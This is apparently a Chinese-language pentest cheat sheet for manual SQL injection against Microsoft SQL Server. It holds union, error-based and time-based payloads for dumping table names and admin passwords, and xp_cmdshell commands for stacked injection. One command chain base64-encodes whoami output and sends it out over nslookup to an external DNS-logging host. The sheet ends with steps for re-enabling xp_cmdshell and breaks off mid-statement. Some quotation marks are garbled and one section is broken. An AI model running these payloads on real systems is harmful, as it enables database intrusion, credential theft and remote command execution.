常规MSSQL注入

判断是否站库分离

1、得到客户端主机名:
select host_name();

2、得到服务端主机名:
select @@servername;

如下所示,就是一个典型的站库分离
@@servername > 0
select host_name > 0

基本语法:
select host_name();
select current_user; 查看当前用户——显示dbo,其实dbo和sa是一个东西,一个是登录名一个是用户名
select db_name(); 查看当前库名
select * from sysobject 查询数据库里所有的表,里面有多个字段,xtype=U为用户创建的表名,uid为所有者对象的用户ID

select object_id(‘xxxx’) 查询特定的数据表,返回一个id
select object_name(‘123456’) 查询特定的id,返回一个表名
select col_name(‘123456’,1) 查询特定ID(特定表)的特定字段,返回此字段(column)的值

基础知识

**Sysdatabases表:**该表保存在master数据库中,这个表中保存的是所有的库名,以及库的ID,和一些相关信息
**Sysobjects表: **SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、 默认值、日志、规则、存储过程等,每个对象在表中占一行。
以下是此系统表的字段名称和相关说明:
**Name, id, xtype, uid, status: **分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。
**当xtype=‘U’ and status>0 **代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。
**Syscolumns表:**该表位于每个数据库中。主要字段有: name , id, colid :分别是字段名称,表ID号,
字段ID号,其中的 ID 是用sysobjects得到的表的ID号

内置系统查询表
select name from master…sysdatabases; //查找所有的数据库名

SELECT name FROM master…sysdatabases WHERE name NOT IN ( ‘master’,‘model’, ‘msdb’, ‘tempdb’, ‘northwind’,‘pubs’ ); //查找所有的数据库名

select name from sysobjects where xtype=‘U’; //查找所有用户创建的数据表

select name from test…sysobjects where xtype=‘U’ //查找指定test库下所有表名

select name from syscolumns where id=(select id from 数据库名…sysobjects where name=‘表名’)
//列出指定库下的表下面的列名

如:select name from syscolumns where id=(select id from test..sysobjects where name='dtest')


或者
select name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where (xtype=‘U’ or xtype=‘V’ ) and name=‘dtest’)
test为库名,dtest为表名, cmd为字段名

知道了表名和列名,剩下的就无需多言了
select * from test…dtest;
select count(*) from test…dtest

select top 10 cmd from test…dtest

1)MSSQL的联合查询:

1、id=1%’ order by 4 – Order by 判断列数
2、id=1%’ union all select 1,2,3,4 – 判断回显位置
3、id=1%’ union all select ‘1’,db_name(),‘3’,‘4’– 判断当前数据库
4、id=1%’ union all select ‘1’,name,‘3’,‘4’,5,6 from ST_WebCourse…sysobjects where xtype=‘U’ –
判断数据库下面的表名
5、id= 1%’ union all select ‘1’,name,‘3’,‘4’,5,6 from ST_Webcourse…syscolumns where
id=(select id from ST_Webcourse…sysobjects where name=‘ST_admin’) –
判断数据表的列名
6、
id=1%’ union all select ‘1’,admin,‘3’,‘4’,5,6 from ST_admin – ; 获取账户名
id=1%’ union all select ‘1’,pass,‘3’,‘4’,5,6 from ST_admin – 获取密码

2)MSSQL的报错注入:

1、and 1=(select @@version))// 获取数据库版本
1.1、and 1=1/@@version 换种方式

2、id =‘1’ and 1=2 and (select id from sysobjects)>0 //判断当前数据库是否为mssql
3、id=1 and 1=(select current_user)获取数据库当前用户
4、1%’ and 1=(select db_name()) – 获取当前数据库名

5、获取test数据库的第一个表名
1’ and 1=(select top 1 name from test…sysobjects where xtype=‘U’ and name not in (select top 1 name fromtest…sysobjects where xtype=‘U’)) –
或者
select ID from Table_1 where id =convert(integer,(select top 1 name from test…sysobjects where xtype=‘U’ and name not in (select top 1 name fromtest…sysobjects where xtype=‘U’))) –
6、MSSQL报错可以用整数型报错,强转型报错以及cast
convert(integer,user)–
1=cast(host_name() as int) –+
select cast(db_name() as char)

3)MSSQL的盲注

1、” />4)时间盲注

id=1’;waitfor delay ‘0:0:5’ – 如果是sysadmin权限,则延时5秒
1’;if ( select IS_SRVROLEMEMBER(‘sysadmin’))=1 WAITFOR DELAY ‘0:0:5’–

5)mssql带外注入

1、在某些情况下,sqlmap使用os-shell来获取权限需要堆叠,不是它说没有就没有(有时候它会抽风),
此时我们可以进行DNS外带的验证,前提是要出网
1、
select * from table_1 where id=‘1’;exec master…xp_cmdshell ‘whoami>C:\ProgramData\temp && certutil -encode C:\ProgramData\temp C:\ProgramData\temp1 && findstr /L /V “CERTIFICATE” C:\ProgramData\temp1>C:\ProgramData\temp2’;

此时temp2内容为——bXNpXGFkbWluaXN0cmF0b3INCg==

因为ping不支持等于号,所以建议使用Nslookup
2、select * from table_1 where id=‘1’;exec master…xp_cmdshell ““cmd /v /c “set /p MYVAR=<C:\ProgramData\temp2 && set FINAL=!MYVAR!.1b422054.toxiclog.xyz && nslookup !FINAL!”””;

如果不使用cmd 参数的话,原生系统CMD为
set /p MYVAR=<C:\ProgramData\temp2 && set FINAL=%MYVAR%.1b422054.toxiclog.xyz && nslookup %FINAL%

2、DNSlog不能出网的话,手工验证堆叠注入是否成功可以使用网站延时来判断,如使用
id=1;exec master…xp_cmdshell “cmd /c ping www.baidu.com -n 50” 这样就会先执行50次ping再返回,如果的确是延时了,那么就存在堆叠且执行了命令

mssql手工注入文章
https://www.cnblogs.com/yuanshu/p/11761185.html
https://www.freebuf.com/articles/others-articles/266220.html

突破不能堆叠开权限

**大部分情况下可以开启xp_cmdshell的两个条件:**需要堆叠注入,需要权限
xp_cmdshell被禁用咋办
MSSQL提权之sp_oacreate
https://www.jianshu.com/p/e79d2a42338b
来源: https://www.wiz.cn/wapp/pages/history/note/9eeaf890-a9fd-11e9-acb6-75b9e7d061a8/8b0114ba-181f-4b26-bb37-dc485b10e10d?&l=zh-cn&clientType=x86&clientVersion=4.13.12.0&p=wiz

http://cn-sec.com/archives/78023.html
通过不能堆叠来开启xp_cmdshell
首先这种方法的局限性会提示

此时需要开启
exec sp_configure ‘show advanced options’,1
reconfigure
exec sp_configure ‘Ad Hoc Distributed Queries’,1
reconfigure

因此该方法在实际的运用中局限性还是很大的,因为在 mssql2005 及其以后,mssql对系统存储过程做了权限控制,Ad Hoc Distributed Queries组件默认是不被启用的。

其原理如下,可在IF的条件下,后面可以紧跟sql_statement 语句
IF Boolean_expression
{ sql_statement | statement_block }
[ ELSE
{ sql_statement | statement_block } ]

实际效果
select * from table_1 where id=1 if 1=1 execute(‘exec sp_configure ‘‘show advanced options’’,
1;reconfigure;exec sp_configure ‘‘xp_cmdshell’’, 1;reconfigure;e